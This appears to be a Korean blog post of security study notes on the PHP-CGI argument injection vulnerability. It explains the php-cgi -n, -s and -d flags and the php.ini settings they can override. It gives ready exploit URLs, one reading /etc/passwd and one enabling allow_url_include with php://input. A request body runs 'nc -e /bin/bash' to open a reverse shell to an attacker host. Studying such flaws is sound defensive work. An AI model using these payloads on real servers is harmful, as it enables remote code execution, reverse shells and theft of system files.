공통 게이트웨이 인터페이스(Common gateway interface)의 약어, 웹 서버와 외부 프로그램 사이에서 정보를 주고받는 방법이나 규약이다. PHP CGI는 PHP로 만들어진 프로그램이 CGI의 역할을 한다는 것이다.
CGI는 웹 서버와 클라이언트가 자료나 데이터를 주고받는 프로그램이라고 생각하면 된다.
PHP CGI 취약점
-n | php.ini 파일을 사용하지 않는다. |
-s | 소스코드를 하이라이트로 보여준다. |
-d | php.ini 정의된 설정 내용을 사용자가 설정 할 수 있다. |
allow_url_fopen=1 : 외보의 URL로부터 파일을 호출한다.
allow_url_include=1 : 외부의 파일을 include를 허용한다.(외부 소스코드 실행)
auto_prepend_file=php://input : Http Request Body로부터 데이터를 가져와서 실행한다.
auto_prepend_file=value : value를 먼저 실행 후 POST뒤의 원래 페이지를 실행한다.
auto_append_file=value : 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행한다.
-s 옵션으로 소스코드를 볼 수 있다.
auto_prepend_file로 /etc/passwd를 가져온다. ?-dauto_prepend_file%3d/etc/passwd+-n
%3d는 =의 URL인코딩이다. -d옵션으로 임의로 설정 후 마지막에 -n을 주어서 php.ini파일을 사용하지 않는다. -d옵션으로 환경변수를 변경하여 코드를 실행할 수 있는 환경을 만드는 것이다.
URL : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input -- allow_url_include를 1로 설정해줘서 외부 파일을 include 할 수 있게 해 준다. php://input으로 BODY부분을 실행할 수 있도록 한다.
BODY : <?php $hack=shell_exec('nc -e /bin/bash IP PORT'); echo "$hack"; die ; -- 리버스 쉘 공격
Shell Shock (0) | 2020.03.09 |
---|---|
webhacking.kr 9번 (0) | 2020.03.08 |
CSRF(Cross-site Request Forgery) (0) | 2020.03.08 |
RFI/LFI (0) | 2020.03.08 |
webhacking.kr 8번 (0) | 2020.03.05 |
댓글 영역